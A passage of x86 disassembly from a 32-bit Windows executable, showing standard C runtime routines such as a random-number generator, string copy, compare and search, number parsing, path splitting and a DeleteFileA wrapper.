mov eax, [esp+arg_0]
mov dword_43AE00, eax
retn
sub_41C2B8 endp
; =============== S U B R O U T I N E =======================================
sub_41C2C2 proc near ; CODE XREF: sub_401221:loc_401379p
; sub_401221:loc_4016A7p ...
mov eax, dword_43AE00
imul eax, 343FDh
add eax, 269EC3h
mov dword_43AE00, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41C2C2 endp
; =============== S U B R O U T I N E =======================================
sub_41C2E0 proc near ; CODE XREF: sub_401221:loc_40134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41C35A
mov dh, [ecx+1]
test dh, dh
jz short loc_41C347
loc_41C2F8: ; CODE XREF: sub_41C2E0+52j
; sub_41C2E0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41C31A
test al, al
jz short loc_41C314
loc_41C309: ; CODE XREF: sub_41C2E0+32j
mov al, [esi]
inc esi
loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj
cmp al, dl
jz short loc_41C31A
test al, al
jnz short loc_41C309
loc_41C314: ; CODE XREF: sub_41C2E0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C31A: ; CODE XREF: sub_41C2E0+23j
; sub_41C2E0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41C30C
lea edi, [esi-1]
loc_41C324: ; CODE XREF: sub_41C2E0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41C353
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41C2F8
mov al, [ecx+3]
test al, al
jz short loc_41C353
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41C324
jmp short loc_41C2F8
; ---------------------------------------------------------------------------
loc_41C347: ; CODE XREF: sub_41C2E0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C996
; ---------------------------------------------------------------------------
loc_41C353: ; CODE XREF: sub_41C2E0+49j
; sub_41C2E0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C35A: ; CODE XREF: sub_41C2E0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41C2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C360 proc near ; CODE XREF: sub_401221+11Ap
; sub_401ACD+1C15p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C39F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C3AC
; ---------------------------------------------------------------------------
loc_41C39F: ; CODE XREF: sub_41C360+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C3AC: ; CODE XREF: sub_41C360+3Dj
mov eax, esi
pop esi
leave
retn
sub_41C360 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3B1 proc near ; CODE XREF: sub_401221+F7p
; sub_401ACD+2177p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B9C0
cmp eax, 1
pop ecx
jb short loc_41C3EC
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C3EC
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C3E8
push 2
push ebx
push esi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C3E8: ; CODE XREF: sub_41C3B1+25j
inc ebx
inc ebx
jmp short loc_41C3F6
; ---------------------------------------------------------------------------
loc_41C3EC: ; CODE XREF: sub_41C3B1+18j
; sub_41C3B1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C3F6
and byte ptr [eax], 0
loc_41C3F6: ; CODE XREF: sub_41C3B1+39j
; sub_41C3B1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C46E
loc_41C409: ; CODE XREF: sub_41C3B1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DD261[edx], 4
jz short loc_41C41A
inc eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C41A: ; CODE XREF: sub_41C3B1+64j
cmp cl, 2Fh
jz short loc_41C42E
cmp cl, 5Ch
jz short loc_41C42E
cmp cl, 2Eh
jnz short loc_41C434
mov [ebp+var_4], eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj
; sub_41C3B1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C434: ; CODE XREF: sub_41C3B1+67j
; sub_41C3B1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C409
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C46E
cmp [ebp+arg_8], 0
jz short loc_41C469
sub edi, ebx
cmp edi, esi
jb short loc_41C452
mov edi, esi
loc_41C452: ; CODE XREF: sub_41C3B1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420B29
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C469: ; CODE XREF: sub_41C3B1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C478
; ---------------------------------------------------------------------------
loc_41C46E: ; CODE XREF: sub_41C3B1+56j
; sub_41C3B1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C478
and byte ptr [ecx], 0
loc_41C478: ; CODE XREF: sub_41C3B1+BBj
; sub_41C3B1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C4CB
cmp edi, ebx
jb short loc_41C4CB
cmp [ebp+arg_C], 0
jz short loc_41C4A8
sub edi, ebx
cmp edi, esi
jb short loc_41C491
mov edi, esi
loc_41C491: ; CODE XREF: sub_41C3B1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420B29
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C4F3
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C4B8
mov esi, eax
loc_41C4B8: ; CODE XREF: sub_41C3B1+103j
push esi
push [ebp+var_4]
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C4F3
; ---------------------------------------------------------------------------
loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj
; sub_41C3B1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C4E9
sub eax, ebx
cmp eax, esi
jnb short loc_41C4DA
mov esi, eax
loc_41C4DA: ; CODE XREF: sub_41C3B1+125j
push esi
push ebx
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C4F3
and byte ptr [eax], 0
loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj
; sub_41C3B1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C3B1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C500 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C520
loc_41C50C: ; CODE XREF: sub_41C500+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C50C
loc_41C520: ; CODE XREF: sub_41C500+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p
; sub_401ACD+7424p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C543
xor eax, eax
jmp short loc_41C579
; ---------------------------------------------------------------------------
loc_41C543: ; CODE XREF: sub_41C52F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C573
mov esi, [ebp+arg_8]
loc_41C54C: ; CODE XREF: sub_41C52F+42j
dec dword ptr [esi+4]
js short loc_41C55B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C562
; ---------------------------------------------------------------------------
loc_41C55B: ; CODE XREF: sub_41C52F+20j
push esi
call sub_41F8E3
pop ecx
loc_41C562: ; CODE XREF: sub_41C52F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C57D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C573
dec [ebp+arg_4]
jnz short loc_41C54C
loc_41C573: ; CODE XREF: sub_41C52F+18j
; sub_41C52F+3Dj ...
and byte ptr [edi], 0
loc_41C576: ; CODE XREF: sub_41C52F+55j
mov eax, ebx
pop esi
loc_41C579: ; CODE XREF: sub_41C52F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C57D: ; CODE XREF: sub_41C52F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C573
xor ebx, ebx
jmp short loc_41C576
sub_41C52F endp
; =============== S U B R O U T I N E =======================================
sub_41C586 proc near ; CODE XREF: sub_41E52A+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C586 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C59D proc near ; CODE XREF: sub_41C586+Ep
; sub_41C7A5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C5B5: ; CODE XREF: sub_41C59D+46j
cmp dword_43D084, 1
jle short loc_41C5CD
movzx eax, bl
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C5DC
; ---------------------------------------------------------------------------
loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej
test eax, eax
jz short loc_41C5E5
mov bl, [esi]
inc esi
jmp short loc_41C5B5
; ---------------------------------------------------------------------------
loc_41C5E5: ; CODE XREF: sub_41C59D+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C5F3
or [ebp+arg_C], 2
jmp short loc_41C5F8
; ---------------------------------------------------------------------------
loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej
cmp bl, 2Bh
jnz short loc_41C5FE
loc_41C5F8: ; CODE XREF: sub_41C59D+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C5FE: ; CODE XREF: sub_41C59D+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C795
cmp eax, 1
jz loc_41C795
cmp eax, 24h
jg loc_41C795
push 10h
test eax, eax
pop ecx
jnz short loc_41C646
cmp bl, 30h
jz short loc_41C630
mov [ebp+arg_8], 0Ah
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C630: ; CODE XREF: sub_41C59D+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C643
cmp al, 58h
jz short loc_41C643
mov [ebp+arg_8], 8
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C643: ; CODE XREF: sub_41C59D+97j
; sub_41C59D+9Bj
mov [ebp+arg_8], ecx
loc_41C646: ; CODE XREF: sub_41C59D+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C662
cmp bl, 30h
jnz short loc_41C662
mov al, [esi]
cmp al, 78h
jz short loc_41C65A
cmp al, 58h
jnz short loc_41C662
loc_41C65A: ; CODE XREF: sub_41C59D+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C662: ; CODE XREF: sub_41C59D+91j
; sub_41C59D+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C672: ; CODE XREF: sub_41C59D+16Cj
cmp dword_43D084, 1
movzx esi, bl
jle short loc_41C68A
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C695
; ---------------------------------------------------------------------------
loc_41C68A: ; CODE XREF: sub_41C59D+DFj
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C695: ; CODE XREF: sub_41C59D+EBj
test eax, eax
jz short loc_41C6A1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C6D3
; ---------------------------------------------------------------------------
loc_41C6A1: ; CODE XREF: sub_41C59D+FAj
cmp dword_43D084, 1
jle short loc_41C6B5
push edi
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C6C0
; ---------------------------------------------------------------------------
loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj
mov eax, off_43CE78
mov ax, [eax+esi*2]
and eax, edi
loc_41C6C0: ; CODE XREF: sub_41C59D+116j
test eax, eax
jz short loc_41C70E
movsx eax, bl
push eax
call sub_420BB3
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C6D3: ; CODE XREF: sub_41C59D+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C70E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C6F8
jnz short loc_41C6F2
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C6F8
loc_41C6F2: ; CODE XREF: sub_41C59D+147j
or [ebp+arg_C], 4
jmp short loc_41C701
; ---------------------------------------------------------------------------
loc_41C6F8: ; CODE XREF: sub_41C59D+145j
; sub_41C59D+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C701: ; CODE XREF: sub_41C59D+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C672
; ---------------------------------------------------------------------------
loc_41C70E: ; CODE XREF: sub_41C59D+125j
; sub_41C59D+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C72C
test edx, edx
jz short loc_41C726
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C726: ; CODE XREF: sub_41C59D+181j
and [ebp+var_8], 0
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C72C: ; CODE XREF: sub_41C59D+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C752
test cl, 1
jnz short loc_41C779
and ecx, 2
jz short loc_41C749
cmp [ebp+var_8], 80000000h
ja short loc_41C752
loc_41C749: ; CODE XREF: sub_41C59D+1A1j
test ecx, ecx
jnz short loc_41C779
cmp [ebp+var_8], eax
jbe short loc_41C779
loc_41C752: ; CODE XREF: sub_41C59D+197j
; sub_41C59D+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DBDDC, 22h
jz short loc_41C768
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C768: ; CODE XREF: sub_41C59D+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C779: ; CODE XREF: sub_41C59D+18Dj
; sub_41C59D+19Cj ...
test edx, edx
jz short loc_41C782
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C782: ; CODE XREF: sub_41C59D+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C790
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C790: ; CODE XREF: sub_41C59D+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C7A0
; ---------------------------------------------------------------------------
loc_41C795: ; CODE XREF: sub_41C59D+66j
; sub_41C59D+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C79E
mov [eax], edi
loc_41C79E: ; CODE XREF: sub_41C59D+1FDj
xor eax, eax
loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C59D endp
; =============== S U B R O U T I N E =======================================
sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p
; sub_401ACD+6931p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C7A5 endp
; =============== S U B R O U T I N E =======================================
sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_427088 ; DeleteFileA
test eax, eax
jnz short loc_41C7D2
call ds:dword_427094 ; RtlGetLastWin32Error
jmp short loc_41C7D4
; ---------------------------------------------------------------------------
loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj
xor eax, eax
loc_41C7D4: ; CODE XREF: sub_41C7BC+14j
test eax, eax
jz short loc_41C7E3
push eax
call sub_420C7F
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj
xor eax, eax
retn
sub_41C7BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420CE6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41FF3F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420D73
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C7E6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp
; sub_401ACD+1E3Ep ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C841
xor eax, eax
jmp short loc_41C843
; ---------------------------------------------------------------------------
loc_41C841: ; CODE XREF: sub_41C820+1Bj
mov eax, edi
loc_41C843: ; CODE XREF: sub_41C820+1Fj
cld
pop edi
leave
retn
sub_41C820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C850 proc near ; CODE XREF: sub_401ACD+854p
; sub_41E52A+93p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C881
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C87F
jz short loc_41C881
dec ecx
dec ecx
loc_41C87F: ; CODE XREF: sub_41C850+29j
not ecx
loc_41C881: ; CODE XREF: sub_41C850+9j
; sub_41C850+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp
; sub_401ACD+2FB3p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C901
sub_41C890 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p
; sub_401ACD+746Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C8BC
loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C8EF
test ecx, 3
jnz short loc_41C8AD
loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj
; sub_41C8A0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C8BC
mov eax, [ecx-4]
test al, al
jz short loc_41C8FE
test ah, ah
jz short loc_41C8F9
test eax, 0FF0000h
jz short loc_41C8F4
test eax, 0FF000000h
jz short loc_41C8EF
jmp short loc_41C8BC
; ---------------------------------------------------------------------------
loc_41C8EF: ; CODE XREF: sub_41C8A0+12j
; sub_41C8A0+4Bj
lea edi, [ecx-1]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F4: ; CODE XREF: sub_41C8A0+44j
lea edi, [ecx-2]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj
lea edi, [ecx-3]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8FE: ; CODE XREF: sub_41C8A0+39j
lea edi, [ecx-4]
loc_41C901: ; CODE XREF: sub_41C890+5j
; sub_41C8A0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C926
loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C978
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C90D
jmp short loc_41C926
; ---------------------------------------------------------------------------
loc_41C921: ; CODE XREF: sub_41C8A0+9Ej
; sub_41C8A0+B8j
mov [edi], edx
add edi, 4
loc_41C926: ; CODE XREF: sub_41C8A0+6Bj
; sub_41C8A0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C921
test dl, dl
jz short loc_41C978
test dh, dh
jz short loc_41C96F
test edx, 0FF0000h
jz short loc_41C962
test edx, 0FF000000h
jz short loc_41C95A
jmp short loc_41C921
; ---------------------------------------------------------------------------
loc_41C95A: ; CODE XREF: sub_41C8A0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C962: ; CODE XREF: sub_41C8A0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C96F: ; CODE XREF: sub_41C8A0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C978: ; CODE XREF: sub_41C8A0+72j
; sub_41C8A0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C8A0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C990
loc_41C980: ; CODE XREF: sub_41C990+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C990
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C990 proc near ; CODE XREF: sub_401ACD+412p
; sub_401ACD+4B9p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C996: ; CODE XREF: sub_41C2E0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C9BB
loc_41C9A8: ; CODE XREF: sub_41C990+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C980
test cl, cl
jz short loc_41CA04
test edx, 3
jnz short loc_41C9A8
loc_41C9BB: ; CODE XREF: sub_41C990+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C9C6: ; CODE XREF: sub_41C990+61j
; sub_41C990+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41CA08
and eax, 81010100h
jz short loc_41C9C6
and eax, 1010100h
jnz short loc_41CA02
and esi, 80000000h
jnz short loc_41C9C6
loc_41CA02: ; CODE XREF: sub_41C990+68j
; sub_41C990+81j ...
pop esi
pop edi
loc_41CA04: ; CODE XREF: sub_41C990+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41CA08: ; CODE XREF: sub_41C990+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41CA45
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA3E
test ah, ah
jz short loc_41CA02
shr eax, 10h
cmp al, bl
jz short loc_41CA37
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA30
test ah, ah
jz short loc_41CA02
jmp short loc_41C9C6
; ---------------------------------------------------------------------------
loc_41CA30: ; CODE XREF: sub_41C990+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA37: ; CODE XREF: sub_41C990+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA3E: ; CODE XREF: sub_41C990+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA45: ; CODE XREF: sub_41C990+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41CA9C
loc_41CA60: ; CODE XREF: sub_41CA50+3Cj
; sub_41CA50+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+3]
jnz short loc_41CA94
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41CA60
mov edi, edi
loc_41CA90: ; CODE XREF: sub_41CA50+18j
; sub_41CA50+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA94: ; CODE XREF: sub_41CA50+14j
; sub_41CA50+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA9C: ; CODE XREF: sub_41CA50+Ej
test edx, 1
jz short loc_41CAB8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41CA94
inc ecx
or al, al
jz short loc_41CA90
test edx, 2
jz short loc_41CA60
loc_41CAB8: ; CODE XREF: sub_41CA50+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
add ecx, 2
jmp short loc_41CA60
sub_41CA50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
